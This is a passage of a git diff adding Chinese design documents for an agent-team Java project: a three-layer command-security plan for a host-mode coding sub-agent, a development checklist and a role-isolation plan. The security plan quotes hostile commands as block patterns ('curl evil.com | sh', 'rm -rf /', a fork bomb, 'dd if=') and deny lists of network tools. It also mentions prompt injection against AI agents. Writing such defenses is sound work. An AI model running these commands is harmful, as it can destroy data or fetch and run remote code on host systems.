+| Docker 沙箱(默认 Agent) | `SandboxGatewayAdapter` | TEAM_MASTER / SUB_AGENT 的命令都在 Docker 容器中执行 |
+| Host Mode(Coding Agent) | `HostModeExecutionGateway` | CODING_SUB_AGENT 直连宿主机,无任何限制 |
+| 工具白名单 | `SubAgentToolPolicy` | 9 个工具的 allowlist |
+| 角色区分 | `AgentTeamRole` | TEAM_MASTER / SUB_AGENT / CODING_SUB_AGENT |
+
+### 1.2 当前安全缺口
+
+- **CODING_SUB_AGENT 在宿主机执行命令,没有任何限制** — 理论上可以 `rm -rf /`、`curl evil.com | sh`、`git push --force origin main`
+- **SubAgentToolPolicy 是粗粒度的** — 只控制"能用哪些工具",不控制"工具能做什么"
+- **没有危险命令检测** — AI 模型可能被 prompt injection 诱导执行危险命令
+- **没有文件路径限制** — CODING_SUB_AGENT 可以访问 worktree 之外的任意文件
+
+---
+
+## 2. 目标架构:三层安全模型
+
+Claude Code 有六层防御,但其中三层不适合 Java 项目(OS bubblewrap 被 Docker 替代、tree-sitter AST 太重、终端弹窗不适用)。我们聚焦于可迁移的三层:
+
+```
+┌─────────────────────────────────────────────────┐
+│ 第三层: Agent 级权限模式 (Permission Mode) │
+│ PLAN / RESTRICTED / CODING / FULL │
+│ 控制整个 Agent 实例的能力边界 │
+├─────────────────────────────────────────────────┤
+│ 第二层: Bash 命令安全拦截器 (Bash Security) │
+│ 正则匹配 + 规则引擎,在命令执行前拦截 │
+│ 两类规则: 危险模式 (hard block) + 用户规则 (allow/deny)│
+├─────────────────────────────────────────────────┤
+│ 第一层: 工具白名单 (Tool Allowlist) — 已有 ✅ │
+│ 控制每个角色能调用哪些工具 │
+└─────────────────────────────────────────────────┘
+```
+
+> **说明**: Claude Code 的 "Permission 规则系统" 和 "Bash AST 校验" 在我们的方案中**合并为一层**
+> —— 因为 Java 生态没有 tree-sitter,用正则规则引擎统一处理即可,没必要拆成两层。
+
+---
+
+## 3. 分步实施计划
+
+---
+
+### 🚩 第一步(最小改动,立即生效):Bash 命令安全拦截器
+
+**目标**: 在 CODING_SUB_AGENT 的命令执行路径上插入安全检查点,拦截已知危险命令。
+
+**改动范围**: 2 个新文件,1 个修改文件
+
+#### 3.1.1 新增 `BashSecurityChecker`
+
+```
+位置: agentteam/infra/BashSecurityChecker.java
+职责: 对每一条 bash 命令做安全检查
+```
+
+**检查逻辑**(按顺序):
+
+```
+1. 危险模式匹配 (HARD_BLOCK)
+ - rm -rf /, rm -rf /*, rm -rf ~
+ - curl ... | sh, wget ... | sh
+ - chmod 777 /, chmod -R 777
+ - > /dev/sd*, dd if=
+ - git push --force origin main (warn)
+ - :(){ :|:& };: (fork bomb)
+ - eval, exec 包裹的可疑命令
+
+2. 禁用前缀匹配 (DENY_LIST,从配置读取)
+ - 示例: ["curl", "wget", "nc", "telnet", "ssh"]
+ - 命中 → 拒绝执行,返回错误
+
+3. 文件路径边界检查
+ - 命令涉及的文件路径必须在 worktree 目录内(或配置的 allowedPaths 内)
+ - 涉及 ../ 试图向上跳出的 → 拒绝
+
+4. 通过 → 放行执行
+```
+
+**关键设计决策**:
+- 危险模式使用 Java `Pattern` (正则),硬编码在代码中(因为不可能允许这些命令)
+- 用户可配置的 deny/allow 规则从 `application.yaml` 读取
+- 拦截后返回 `AiSandboxCommandResult(exitCode=-1, stderr="安全策略拒绝: ...")` —— AI 能读到拒绝原因,可以调整策略
+
+#### 3.1.2 新增配置段
+
+```yaml
+# application.yaml
+agentteam:
+ security:
+ enabled: true
+ deny-commands: # 禁止的命令前缀
+ - "curl"
+ - "wget"
+ - "nc"
+ - "ssh"
+ - "scp"
+ allow-commands: # 即使匹配危险模式也放行(白名单优先)
+ - "git push origin feature/*"
+ allowed-paths: # CODING_SUB_AGENT 可以访问的额外路径
+ - "${WORKTREE_ROOT}"
+ max-command-length: 4096
+```
+
+#### 3.1.3 修改 `HostModeExecutionGateway.executeCommand()`
+
+在 `ProcessBuilder` 启动前插入:
+
+```java
+public AiSandboxCommandResult executeCommand(String sessionId, String command, String cwd, int timeoutSeconds) {
+ // ★ 新增:安全检查
+ BashSecurityCheckResult checkResult = bashSecurityChecker.check(command, cwd, sessionId);
+ if (!checkResult.allowed()) {
+ return new AiSandboxCommandResult("", checkResult.reason(), -1);
+ }
+
+ // ... 原有执行逻辑
+}
+```
+
+**验证方式**: 单元测试验证危险命令被拦截、正常命令通过。
+
+---
+
+### 🚩 第二步(核心价值):Permission Rules 配置引擎
+
+**目标**: 将安全规则从硬编码升级为可配置的规则引擎,支持 allow / deny 两种行为。
+
+**改动范围**: 3 个新文件,2 个修改文件,1 个配置修改
+
+#### 3.2.1 新增模型
+
+```
+PermissionRule (record)
+ - toolName: String // "bash", "file_read", "file_write"
+ - pattern: String // "git:*", "npm run *", "src/**/*.java"
+ - behavior: Behavior // ALLOW, DENY
+ - priority: int // 数字越小优先级越高
+ - description: String // 人类可读的描述
+
+Behavior (enum)
+ - ALLOW // 明确允许
+ - DENY // 明确拒绝,AI 可以看到拒绝原因
+```
+
+#### 3.2.2 新增 `PermissionEvaluator`
+
+```
+位置: agentteam/application/PermissionEvaluator.java
+职责: 对操作做规则匹配,返回 ALLOW 或 DENY
+```
+
+**匹配流程**:
+
+```
+输入: toolName="bash", command="git push origin main"
+ → 加载所有规则 (按 priority 排序)
+ → 遍历规则:
+ 1. "bash:rm:*" → 不匹配
+ 2. "bash:git:*" → 匹配 → behavior=ALLOW → 返回 ALLOW ✅
+ → 遍历结束,无匹配 → 返回默认行为 (DENY for CODING_SUB_AGENT)
+```
+
+**匹配算法**:
+- `command:git:*` — 前缀匹配(git 开头的所有子命令)
+- `command:git push origin *` — glob 匹配
+- `file:src/**/*.java` — 路径 glob 匹配(用 `FileSystem.getPathMatcher("glob:...")`)
+
+#### 3.2.3 配置格式
+
+```yaml
+# application.yaml
+agentteam:
+ security:
+ permission-rules:
+ # 优先级 1(最高):允许 git 只读操作
+ - pattern: "bash:git status*"
+ behavior: ALLOW
+ priority: 1
+ description: "允许 git status"
+ - pattern: "bash:git diff*"
+ behavior: ALLOW
+ priority: 1
+ description: "允许 git diff"
+ - pattern: "bash:git log*"
+ behavior: ALLOW
+ priority: 1
+ description: "允许 git log"
+
+ # 优先级 2:允许编程语言工具
+ - pattern: "bash:javac*"
+ behavior: ALLOW
+ priority: 2
+ description: "允许 Java 编译"
+ - pattern: "bash:mvn*"
+ behavior: ALLOW
+ priority: 2
+ description: "允许 Maven"
+ - pattern: "bash:npm*"
+ behavior: ALLOW
+ priority: 2
+ description: "允许 npm"
+ - pattern: "bash:python*"
+ behavior: ALLOW
+ priority: 2
+ description: "允许 Python"
+
+ # 优先级 3:允许文件操作
+ - pattern: "bash:ls*"
+ behavior: ALLOW
+ priority: 3
+ - pattern: "bash:cat*"
+ behavior: ALLOW
+ priority: 3
+ - pattern: "bash:mkdir*"
+ behavior: ALLOW
+ priority: 3
+ - pattern: "bash:touch*"
+ behavior: ALLOW
+ priority: 3
+ - pattern: "bash:find*"
+ behavior: ALLOW
+ priority: 3
+ - pattern: "bash:grep*"
+ behavior: ALLOW
+ priority: 3
+
+ # 优先级 4:文件编辑
+ - pattern: "file:src/**"
+ behavior: ALLOW
+ priority: 4
+ description: "允许编辑 src/ 目录"
+
+ # 优先级 10(低):明确禁止
+ - pattern: "bash:rm -rf*"
+ behavior: DENY
+ priority: 10
+ description: "禁止递归强制删除"
+ - pattern: "bash:curl*"
+ behavior: DENY
+ priority: 10
+ description: "禁止网络下载"
+ - pattern: "bash:chmod 777*"
+ behavior: DENY
+ priority: 10
+ description: "禁止变更文件权限"
+
+ # 默认行为(无匹配时)
+ default-behavior: DENY
+```
+
+#### 3.2.4 修改点
+
+**`HostModeExecutionGateway.executeCommand()`** 和 **`ShellTool.runShellCommand()`**:
+```java
+// 在 executeCommand 中
+PermissionCheckResult result = permissionEvaluator.evaluate(
+ "bash", // toolName
+ command, // 要检查的内容
+ cwd // 上下文(用于路径检查)
+);
+if (result.behavior() == Behavior.DENY) {
+ return new AiSandboxCommandResult("", "权限拒绝: " + result.reason(), -1);
+}
+```
+
+**`HostModeExecutionGateway.readTextFile()` / `writeTextFile()`**:
+```java
+// 在文件操作前
+PermissionCheckResult result = permissionEvaluator.evaluate(
+ "file_read", // 或 "file_write"
+ path,
+ null
+);
+```
+
+**Docker 沙箱路径**(`SandboxGatewayAdapter`):可选,因为 Docker 本身已经提供了物理隔离。
+
+#### 3.2.5 第一步与第二步的关系
+
+第一步实现后,第二步自然替代第一步的硬编码部分:
+- 第一步的 `HARD_BLOCK` 危险模式 → 保留(这些永远不允许,硬编码最快)
+- 第一步的 `DENY_LIST` 可配置部分 → 迁移到第二步的规则引擎
+- 第二步的 `PermissionEvaluator` 统一管理所有规则
+
+---
+
+### 🚩 第三步(锦上添花):Agent 级 Permission Mode
+
+**目标**: 不同 Agent 角色有不同的权限级别,不需要为每个 Agent 单独配置规则。
+
+**改动范围**: 1 个枚举增强,1 个修改文件
+
+#### 3.3.1 `AgentTeamRole` 增强
+
+```java
+public enum AgentTeamRole {
+ TEAM_MASTER(PermissionLevel.FULL), // 完全信任(Docker 沙箱内)
+ SUB_AGENT(PermissionLevel.SANDBOXED), // Docker 沙箱限制
+ CODING_SUB_AGENT(PermissionLevel.RESTRICTED); // 宿主机执行 + 规则限制
+
+ private final PermissionLevel permissionLevel;
+}
+
+public enum PermissionLevel {
+ FULL, // 不需要规则检查(已经在 Docker 沙箱中)
+ SANDBOXED, // Docker 沙箱内,无需额外规则
+ RESTRICTED, // 宿主机执行,必须经过 PermissionEvaluator
+ READ_ONLY // 只读模式(未来 Plan Agent 使用)
+}
+```
+
+#### 3.3.2 修改 `AgentTeamCoordinatorFactory`
+
+```java
+public AgentCoordinator create(AgentTeamRole role) {
+ // ... 现有逻辑 ...
+
+ // ★ 新增:根据 PermissionLevel 决定是否启用安全检查
+ if (role.getPermissionLevel() == PermissionLevel.RESTRICTED) {
+ builder.permissionEvaluator(permissionEvaluator); // 注入安全检查
+ }
+ // FULL / SANDBOXED → 不注入,Docker 沙箱已足够
+
+ return builder.build();
+}
+```
+
+#### 3.3.3 未来扩展
+
+当实现 AI 驱动的 Planner(类似 Claude Code 的 Plan Agent)时:
+- 新增 `PLANNER(PermissionLevel.READ_ONLY)` 角色
+- 自动拒绝所有文件写操作
+- 只允许 FileReadTool + GlobTool + GrepTool
+
+---
+
+## 4. 与 Claude Code 的对照
+
+| Claude Code 层 | OpenManus 对接 | 迁移状态 |
+|---------------|---------------|---------|
+| ① Agent 工具白名单 | `SubAgentToolPolicy` + `AgentTeamRole` | ✅ 已有 |
+| ② Permission 规则 (allow/deny/ask) | → **第二步** PermissionEvaluator | 🔨 规划中 |
+| ③ Permission Mode | → **第三步** PermissionLevel per role | 🔨 规划中 |
+| ④ OS bubblewrap 沙箱 | Docker 沙箱(常规 Agent)/ Host 模式(Coding Agent) | ✅ 已有 |
+| ⑤ Bash AST 安全校验 | → **合并到第二步**,用正则规则引擎替代 AST | 🔨 规划中 |
+| ⑥ System Prompt 约束 | `SubAgentCodingExecutionService.buildPrompt()` | ✅ 已有 |
+
+> **关键差异**: Claude Code 的 ask 模式(弹窗问用户)在 OpenManus 不可行(无终端交互)。
+> ask 降级为 DENY + log.warn + 返回错误给 AI,AI 可以尝试替代方案。
+
+---
+
+## 5. 安全边界总结
+
+实施完成后,CODING_SUB_AGENT 的安全边界:
+
+```
+CODING_SUB_AGENT 在宿主机执行
+ │
+ ├─ 工具限制: SubAgentToolPolicy (9 tools allowlist)
+ │ ├─ runShellCommand ← 受 BashSecurityChecker + PermissionEvaluator 双重检查
+ │ ├─ executePython ← 受 HostCodeSandbox 限制(只执行 Python,不能调 shell)
+ │ ├─ read/record/reflect ← 只读操作,天然安全
+ │ └─ browser/search/web ← 经过 proxy,不可操作本地
+ │
+ ├─ 命令限制: BashSecurityChecker
+ │ ├─ 危险模式硬拦截 (rm -rf /, curl|sh, etc.)
+ │ ├─ 配置规则匹配 (allow/deny)
+ │ └─ 路径边界检查 (不能跳出 worktree)
+ │
+ └─ 文件限制: worktree 目录边界
+ ├─ readTextFile → 只能在 allowedPaths 内读
+ └─ writeTextFile → 只能在 allowedPaths 内写
+```
+
+---
+
+## 6. 实施顺序建议
+
+```
+第一步 (1-2小时) → BashSecurityChecker + 硬编码危险模式
+ 立即消除最大风险(rm -rf、curl|sh 等)
+
+第二步 (2-4小时) → PermissionEvaluator + YAML 配置规则引擎
+ 灵活可配,覆盖更多场景
+
+第三步 (1-2小时) → AgentTeamRole 增加 PermissionLevel
+ 架构收尾,为未来 Plan Agent 铺路
+```
+
+总改动量:约 6-8 个新文件,3-5 个修改文件,无外部依赖。
diff --git "a/src/main/java/com/openmanus/agentteam/docs/\346\217\220\347\244\272\350\257\215\344\270\216\345\267\245\345\205\267\351\232\224\347\246\273/AGENT_TEAM_DEVELOPMENT_PLAN.md" "b/src/main/java/com/openmanus/agentteam/docs/\346\217\220\347\244\272\350\257\215\344\270\216\345\267\245\345\205\267\351\232\224\347\246\273/AGENT_TEAM_DEVELOPMENT_PLAN.md"
new file mode 100644
index 0000000..bfc06f7
--- /dev/null
+++ "b/src/main/java/com/openmanus/agentteam/docs/\346\217\220\347\244\272\350\257\215\344\270\216\345\267\245\345\205\267\351\232\224\347\246\273/AGENT_TEAM_DEVELOPMENT_PLAN.md"
@@ -0,0 +1,36 @@
+# Agent Team 开发执行计划
+
+本文档用于跟踪 `agentteam` 提示词隔离、工具隔离与执行入口隔离的开发进展。
+
+## 开发清单
+
+- [x] 第 1 步:角色语义收口
+ - 新增 `AgentTeamRole`
+ - 明确 `MasterAgentOrchestrator` 的 Team Master 语义
+ - 明确 `SubAgentExecutionService` 当前职责和过渡边界
+
+- [x] 第 2 步:提示词入口收口
+ - 扩展 `AgentTeamPromptProvider`
+ - 增加 Team Master / SubAgent 专用系统提示词模板
+ - 保持任务拆解提示词继续独立存在
+
+- [x] 第 3 步:角色化执行入口
+ - 新增 `AgentTeamRoleExecutionPort`
+ - 新增 `AgentTeamRoleExecutionService`
+ - 让 `SubAgentExecutionService` 不再直接依赖默认 `AgentExecutionPort`
+
+- [x] 第 4 步:工具隔离策略
+ - 新增 `AgentTeamToolPolicy`
+ - 实现 `SubAgentToolPolicy`
+ - 实现 `TeamMasterToolPolicy`
+ - 提供本地工具注册表,避免在 `agentteam` 内散落工具扫描逻辑
+
+- [x] 第 5 步:角色化 Coordinator 构造
+ - 新增 `AgentTeamCoordinatorFactory`
+ - 基于角色选择系统提示词和工具集合
+ - 先不开放默认 MCP tools
+
+- [x] 第 6 步:配置装配与回归测试
+ - 调整 `AgentTeamConfig`
+ - 补充 prompt、工具策略、SubAgent 隔离相关测试
+ - 验证默认单 Agent 主链路不受影响
diff --git "a/src/main/java/com/openmanus/agentteam/docs/\346\217\220\347\244\272\350\257\215\344\270\216\345\267\245\345\205\267\351\232\224\347\246\273/AGENT_TEAM_ISOLATION_PLAN.md" "b/src/main/java/com/openmanus/agentteam/docs/\346\217\220\347\244\272\350\257\215\344\270\216\345\267\245\345\205\267\351\232\224\347\246\273/AGENT_TEAM_ISOLATION_PLAN.md"
new file mode 100644
index 0000000..d9cd16e
--- /dev/null
+++ "b/src/main/java/com/openmanus/agentteam/docs/\346\217\220\347\244\272\350\257\215\344\270\216\345\267\245\345\205\267\351\232\224\347\246\273/AGENT_TEAM_ISOLATION_PLAN.md"
@@ -0,0 +1,510 @@
+# Agent Team 提示词与工具隔离开发计划
+
+## 1. 背景
+
+当前仓库已经具备 `agentteam` 的最小协作闭环:
+
+1. 主流程可以判断任务是否适合拆分。
+2. 可以把任务拆成多个 `SubTask`。
+3. 多个 `SubAgentWorker` 可以并行领取并执行子任务。
+4. 主流程可以汇总成功/失败结果并输出最终文本。
+
+但当前实现仍然存在一个明显问题:
+
+- `agentteam` 中的 `master agent` 还没有和普通单 Agent 流程中的主 Agent 做清晰区分。
+- `subagent` 当前仍然通过 `SubAgentExecutionService -> AgentExecutionPort` 直接复用默认单 Agent 执行链路。
+- 因此,`普通主 Agent`、`Agent Team Master Agent`、`SubAgent` 三个角色在提示词和工具能力上尚未真正隔离。
+
+这与 Claude Code 的多 Agent 设计原则不一致。Claude Code 的关键不是“能并行跑多个 agent”,而是:
+
+1. 不同角色有不同职责。
+2. 不同角色有不同提示词。
+3. 不同角色有不同工具边界。
+4. `subagent` 不能默认继承父 Agent 的全部权力。
+
+本计划用于收敛下一阶段实现目标:先完成 `提示词隔离 + 工具隔离`,再继续推进上下文隔离和消息驱动通信增强。
+
+## 2. 目标
+
+本阶段目标不是扩展更多功能,而是把当前 `agentteam` 从“复用默认 Agent 的并行执行”演进为“具有明确角色边界的协作执行”。
+
+本阶段完成后,应满足以下目标:
+
+1. 明确区分三种角色:
+ - 普通流程 Agent
+ - Agent Team Master Agent
+ - Agent Team SubAgent
+2. 三种角色拥有不同的提示词职责说明。
+3. Agent Team Master Agent 与 SubAgent 拥有不同的工具集合。
+4. `subagent` 不再默认拥有主流程中的调度权和全局控制权。
+5. 改造不破坏当前普通单 Agent 默认主链路。
+
+## 3. 非目标
+
+本阶段明确不做以下内容:
+
+1. 不实现完整角色系统或通用 RBAC 权限系统。
+2. 不实现 Skills Registry / Skill Loader。
+3. 不实现 cron / trigger / environment monitor / auto recovery。
+4. 不实现分布式调度或跨进程 Agent Team。
+5. 不在本阶段引入复杂的上下文共享策略。
+6. 不把 `agentteam` 权限逻辑下沉成 `aiframework` 的通用抽象。
+
+## 4. 角色定义
+
+### 4.1 普通流程 Agent
+
+普通流程 Agent 指当前默认执行链路中的主 Agent。
+
+职责:
+
+1. 直接理解用户输入。
+2. 直接调用工具完成任务。
+3. 直接给出最终回答。
+
+特点:
+
+1. 是单兵执行者。
+2. 工具集以“直接干活”为中心。
+3. 不承担 Team 协调职责。
+
+### 4.2 Agent Team Master Agent
+
+Agent Team Master Agent 指多 Agent 模式中的协调者。
+
+职责:
+
+1. 判断任务是否适合拆分。
+2. 生成子任务计划。
+3. 创建和派发子任务。
+4. 跟踪子任务状态。
+5. 汇总子任务结果。
+6. 形成最终答复。
+
+特点:
+
+1. 是协调者,不是默认全能执行者。
+2. 工具集以“拆分、委派、查询、汇总”为中心。
+3. 即使保留少量直接执行工具,也不应与普通流程 Agent 完全相同。
+
+### 4.3 Agent Team SubAgent
+
+SubAgent 指被 Team Master 派发出去的执行单元。
+
+职责:
+
+1. 接收单个明确子任务。
+2. 使用受限工具完成子任务。
+3. 返回结构化结果或失败信息。
+
+特点:
+
+1. 是受控 worker。
+2. 只负责执行,不负责拆分、委派、汇总、最终答复。
+3. 不应拥有调度权、全局控制权或默认全量工具。
+
+## 5. 提示词隔离方案
+
+提示词隔离的核心不是“多写几句说明”,而是让模型明确进入不同角色。
+
+### 5.1 普通流程 Agent 提示词
+
+定位:
+
+- 单兵执行者
+
+提示词目标:
+
+1. 直接分析任务。
+2. 直接使用工具。
+3. 自行推进计划、执行、观察、调整。
+4. 直接向用户回答。
+
+当前状态:
+
+- 继续沿用当前默认单 Agent 主链路提示词。
+
+### 5.2 Agent Team Master Agent 提示词
+
+定位:
+
+- 协调者 / 调度者
+
+提示词目标:
+
+1. 优先判断任务是否适合拆分。
+2. 优先生成并管理子任务,而不是亲自完成所有细节。
+3. 明确自己负责:
+ - 任务拆解
+ - 子任务委派
+ - 子任务状态跟踪
+ - 结果汇总
+4. 只有在不值得委派时,才少量直接执行。
+
+建议提示词约束:
+
+1. 明确写出“你的首要职责是协调多个 worker,而不是默认亲自完成所有子任务”。
+2. 明确写出“只有适合并行且可独立执行的工作才拆分”。
+3. 明确写出“最终答复由你统一汇总输出”。
+
+### 5.3 SubAgent 提示词
+
+定位:
+
+- 受委派执行单元
+
+提示词目标:
+
+1. 明确自己正在执行一个被委派的子任务。
+2. 明确只处理当前 `SubTask`,不要重新拆任务。
+3. 明确不负责最终用户答复。
+4. 明确输出重点是:
+ - 子任务结果
+ - 关键证据
+ - 失败原因
+
+建议提示词约束:
+
+1. 明确写出“你不是最终协调者”。
+2. 明确写出“不要再次委派子任务”。
+3. 明确写出“仅在当前授权工具范围内完成工作”。
+4. 明确写出“结果需要便于上游汇总”。
+
+### 5.4 提示词文件拆分建议
+
+当前已有:
+
+- `prompts/agentteam/task-decomposition.prompt.md`
+- `prompts/agentteam/subagent-execution.prompt.md`
+
+建议新增或调整为:
+
+1. `prompts/agentteam/team-master-system.prompt.md`
+ - Team Master 角色总提示词
+2. `prompts/agentteam/task-decomposition.prompt.md`
+ - 拆分专用提示词,可保留或并入 Team Master 提示词体系
+3. `prompts/agentteam/subagent-execution.prompt.md`
+ - SubAgent 执行提示词
+
+建议原则:
+
+1. 不修改普通流程主 Agent 提示词语义。
+2. `agentteam` 的 Master / SubAgent 提示词完全独立维护。
+3. 提示词差异是角色差异,不是文案差异。
+
+## 6. 工具隔离方案
+
+工具隔离的目标是按角色分配工具,而不是把所有角色都接到同一个默认工具池。
+
+### 6.1 当前工具来源
+
+当前本地工具主要位于:
+
+- `src/main/java/com/openmanus/agent/tool`
+
+包括:
+
+1. `BrowserTool`
+2. `PythonExecutionTool`
+3. `SearchTool`
+4. `ShellTool`
+5. `TaskReflectionTool`
+6. `WebFetchTool`
+
+并通过:
+
+- `infra/config/AgentArchitectureConfig`
+
+注册进入默认 `AgentCoordinator`。
+
+此外还有:
+
+1. 运行时发现的 MCP tools
+2. `agentteam` 模块自身的调度能力
+
+需要注意:
+
+- `agent/tool` 中的是“执行工具”。
+- `agentteam` 中的是“调度能力”。
+- 二者不能混为一谈。
+
+### 6.2 角色与工具能力划分
+
+#### 普通流程 Agent 工具能力
+
+普通流程 Agent 继续使用当前默认工具集:
+
+1. Browser
+2. Python
+3. Search
+4. WebFetch
+5. Shell
+6. TaskReflection
+7. 可选 MCP tools
+
+#### Agent Team Master Agent 工具能力
+
+Team Master Agent 的主能力应从“执行工具”转向“协调工具”。
+
+建议第一版 Team Master 核心能力包含:
+
+1. 任务拆分
+2. 创建任务组
+3. 生成子任务
+4. 派发子任务
+5. 查询子任务状态
+6. 汇总结果
+
+Team Master 是否保留直接执行工具:
+
+1. 第一版可保留少量只读或辅助工具,例如:
+ - `SearchTool`
+ - `WebFetchTool`
+ - 受限 `ShellTool`
+2. 不建议保留完整执行工具集并默认直接干活。
+
+#### SubAgent 工具能力
+
+SubAgent 只保留完成子任务所需的工作工具。
+
+建议第一版允许:
+
+1. `BrowserTool`
+2. `PythonExecutionTool`
+3. `SearchTool`
+4. `WebFetchTool`
+5. `ShellTool`
+6. 受限 `TaskReflectionTool`
+
+### 6.3 SubAgent 禁用能力
+
+SubAgent 必须禁止以下能力:
+
+1. 再次拆分任务
+2. 再次派发子任务
+3. 创建新的 TaskGroup
+4. 修改其他 SubTask 的状态
+5. 修改 TaskGroup 汇总状态
+6. 控制 WorkerManager 生命周期
+7. 接管最终用户答复
+8. 默认开放所有 MCP tools
+9. 无边界读取/写入全局任务历史
+
+### 6.4 为什么第一步先做工具隔离
+
+因为当前最明显的问题不是“不能并发”,而是:
+
+1. `SubAgentExecutionService` 仍直接复用默认执行链路。
+2. `subagent` 仍隐式拥有与主流程近似的能力集合。
+
+先做工具隔离有以下好处:
+
+1. 改动范围比上下文隔离更小。
+2. 不会立即侵入整个执行上下文模型。
+3. 可以先建立清晰角色边界。
+4. 是后续上下文隔离和消息通信增强的前置基础。
+
+## 7. 代码分层设计
+
+本阶段改造要遵守现有边界:
+
+1. `domain` 负责模型与规则边界。
+2. `application` 负责编排、角色决策和执行入口。
+3. `infra` 负责 Spring 装配、提示词资源加载和运行时适配。
+
+### 7.1 application 层
+
+application 层新增或调整的职责:
+
+1. 定义 Agent Team 的角色类型
+2. 定义角色到提示词的选择逻辑
+3. 定义角色到工具策略的选择逻辑
+4. 提供 Team Master 与 SubAgent 的独立执行入口
+
+建议新增类:
+
+1. `AgentTeamRole`
+ - 角色枚举
+ - 值建议:
+ - `TEAM_MASTER`
+ - `SUB_AGENT`
+
+2. `AgentTeamPromptStrategy`
+ - 根据角色返回对应提示词模板或提示词描述
+
+3. `SubAgentToolPolicy`
+ - 输入默认可用工具
+ - 输出 SubAgent 可用工具
+
+4. `TeamMasterToolPolicy`
+ - 输入默认可用工具
+ - 输出 Team Master 可用工具
+
+5. `TeamMasterExecutionService`
+ - Team Master 专用执行入口
+ - 负责使用 Team Master 的提示词和工具策略
+
+6. `SubAgentExecutionService`
+ - 从“仅包装默认 AgentExecutionPort”调整为“走 SubAgent 专用执行入口”
+
+建议原则:
+
+1. 工具隔离策略收口在 `application`,不要散落到 controller。
+2. 提示词选择逻辑收口在 `application`,不要散落到 Worker 或 Config。
+
+### 7.2 domain 层
+
+domain 层不直接依赖 Spring 和运行时实现,主要承载边界规则。
+
+建议新增内容:
+
+1. `AgentRoleCapabilities` 或等价模型
+ - 描述某角色允许和禁止的能力类别
+ - 不是为了做复杂权限系统,而是把规则显式化
+
+2. `ToolAccessRule`
+ - 可选
+ - 若第一版只做名称级过滤,可先不引入
+
+建议原则:
+
+1. domain 层描述“边界是什么”。
+2. application 层负责“边界怎么执行”。
+
+### 7.3 infra 层
+
+infra 层负责运行时装配,不负责业务决策。
+
+建议新增或调整:
+
+1. `ClasspathAgentTeamPromptProvider`
+ - 扩展为支持 Team Master 与 SubAgent 不同提示词模板
+
+2. `AgentTeamConfig`
+ - 负责装配:
+ - `AgentTeamPromptStrategy`
+ - `SubAgentToolPolicy`
+ - `TeamMasterToolPolicy`
+ - Team Master / SubAgent 执行服务
+
+3. 如需独立 Coordinator 构造器,可增加:
+ - `AgentTeamCoordinatorFactory`
+ - 负责基于裁剪后的工具集构造 Team Master / SubAgent 执行器
+
+建议原则:
+
+1. `infra` 负责“怎么装”。
+2. `application` 负责“装什么策略”。
+
+## 8. 推荐实现路径
+
+### 阶段 A:角色收口
+
+目标:
+
+1. 明确普通 Agent、Team Master、SubAgent 的角色边界
+2. 文档和代码命名先统一
+
+工作项:
+
+1. 引入 `AgentTeamRole`
+2. 把 `MasterAgentOrchestrator` 的语义明确为 Team Master 调度者
+
+### 阶段 B:提示词隔离
+
+目标:
+
+1. Team Master 与 SubAgent 使用不同提示词
+
+工作项:
+
+1. 扩展 `AgentTeamPromptProvider`
+2. 增加 Team Master 专用提示词模板
+3. 调整 `SubAgentExecutionService` 提示词约束
+
+完成标准:
+
+1. Team Master 提示词强调协调职责
+2. SubAgent 提示词强调执行职责
+
+### 阶段 C:工具隔离
+
+目标:
+
+1. Team Master 与 SubAgent 使用不同工具策略
+
+工作项:
+
+1. 实现 `SubAgentToolPolicy`
+2. 实现 `TeamMasterToolPolicy`
+3. 改造执行入口,不再让 SubAgent 无条件走默认全量工具集
+
+完成标准:
+
+1. SubAgent 无法再次委派子任务
+2. SubAgent 无法触碰全局调度控制能力
+3. 单 Agent 默认主链路不受影响
+
+### 阶段 D:测试补齐
+
+目标:
+
+1. 为角色隔离提供自动化验证
+
+建议测试:
+
+1. `SubAgentToolPolicyTest`
+2. `TeamMasterToolPolicyTest`
+3. `SubAgentExecutionIsolationTest`
+4. `AgentTeamRolePromptSelectionTest`
+5. `SingleAgentRegressionTest`
+
+## 9. 验收标准
+
+本阶段验收建议如下:
+
+### 功能验收
+
+1. 普通单 Agent 默认链路行为不变
+2. Team Master 与 SubAgent 提示词不同
+3. Team Master 与 SubAgent 工具集合不同
+4. SubAgent 不可递归派发新子任务
+5. Team Master 保留汇总和最终答复职责
+
+### 架构验收
+
+1. `agentteam` 的角色隔离逻辑收口在 `agentteam` 模块
+2. 不把复杂隔离逻辑散落到 controller
+3. 不污染普通单 Agent 默认主链路
+4. 不为未来扩展提前引入复杂权限框架
+
+### 测试验收
+
+1. `compile` 通过
+2. 默认 `test` 通过
+3. 新增角色隔离相关测试通过
+
+## 10. 后续演进
+
+当本阶段稳定后,再考虑继续推进:
+
+1. 上下文隔离
+ - Team Master / SubAgent 的独立执行上下文
+2. 消息驱动通信增强
+ - 父子 Agent 显式消息协议
+3. 更细粒度的工具权限
+ - 按工具名、按工具类别、按副作用等级控制
+4. MCP tools 的角色化开放策略
+5. 角色系统和 skills system 的后续版本设计
+
+## 11. 当前结论
+
+当前 `agentteam` 已具备最小协作闭环,但要向 Claude Code 学习,下一步不应继续堆叠更多功能,而应优先补齐角色边界。
+
+本阶段最重要的收口是:
+
+1. 把普通流程 Agent、Team Master、SubAgent 区分清楚。
+2. 让 Team Master 与 SubAgent 的提示词不同。
+3. 让 Team Master 与 SubAgent 的工具集合不同。
+
+只有先把这三层角色隔离开,后面的上下文隔离、通信机制和更强的多 Agent 协作策略才有稳定落点。
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/AgentMessage.java b/src/main/java/com/openmanus/agentteam/domain/model/AgentMessage.java
new file mode 100644
index 0000000..6ad61ef
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/AgentMessage.java
@@ -0,0 +1,36 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Mailbox message exchanged between agents.
+ */
+public record AgentMessage(
+ String messageId,
+ String fromAgentId,
+ String toAgentId,
+ String groupId,
+ MessageType type,
+ String content,
+ boolean read,
+ long createdAt,
+ Long readAt
+) {
+
+ public AgentMessage {
+ content = content == null ? "" : content;
+ type = type == null ? MessageType.INFO : type;
+ }
+
+ public AgentMessage markRead(long timestamp) {
+ return new AgentMessage(
+ messageId,
+ fromAgentId,
+ toAgentId,
+ groupId,
+ type,
+ content,
+ true,
+ createdAt,
+ timestamp
+ );
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/CodeSubTask.java b/src/main/java/com/openmanus/agentteam/domain/model/CodeSubTask.java
new file mode 100644
index 0000000..1490b3a
--- /dev/null
